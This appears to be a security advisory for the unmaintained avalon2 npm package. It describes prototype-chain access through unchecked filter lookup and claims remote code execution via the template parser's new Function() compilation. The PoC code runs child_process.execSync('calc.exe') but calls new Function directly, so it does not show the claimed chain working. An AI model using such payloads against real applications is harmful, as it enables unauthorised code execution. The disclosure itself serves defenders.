BUG_Author: Frederick Affected Version: v0.9.9 ~ v2.2.10 (all versions, unmaintained since 2019) Vendor: https://github.com/RubyLouvre/avalon Software: https://www.npmjs.com/package/avalon2 Vulnerability Files:
src/filters/index.jsline 11 (var filters = avalon.filters = {})src/filters/index.jsline 18 (var filter = avalon.filters[name])src/parser/index.jsline 117, 133 (new Function()compilation)
-
Insecure Filter Storage and Lookup:
- Avalon stores template filters in a plain object (
var filters = avalon.filters = {}) - Filters are accessed via bracket notation without
hasOwnPropertycheck:avalon.filters[name] - This allows prototype chain traversal — any
Object.prototypeproperty can be accessed as a filter name.
- Avalon stores template filters in a plain object (
-
Prototype Chain Escape:
avalon.filters["__proto__"]returnsObject.prototypeavalon.filters["constructor"]returns theObjectconstructor functiontypeof Object === "function"passes the filter execution check, allowingconstructorto be called as a filter function.
-
Remote Code Execution via new Function():
- The template parser compiles expressions using
new Function('__vmodel__', 'return ' + body + ';')(confirmed in source at 6 locations) - If an attacker can control template content (e.g., template injection), arbitrary JavaScript code can be executed
- Payload example:
process.mainModule.require("child_process").execSync("calc.exe")
- The template parser compiles expressions using
- Install and run:
npm install avalon2
node poc.js
- Code:
const avalon = require("avalon2");
// Prototype escape — plain object, no hasOwnProperty check
avalon.filters["__proto__"]; // → Object.prototype
avalon.filters["constructor"]; // → Object() (typeof === "function")
// RCE — new Function() in template parser
new Function('__vmodel__',
'return process.mainModule.require("child_process").execSync("calc.exe")')();- Result: Calculator process spawned.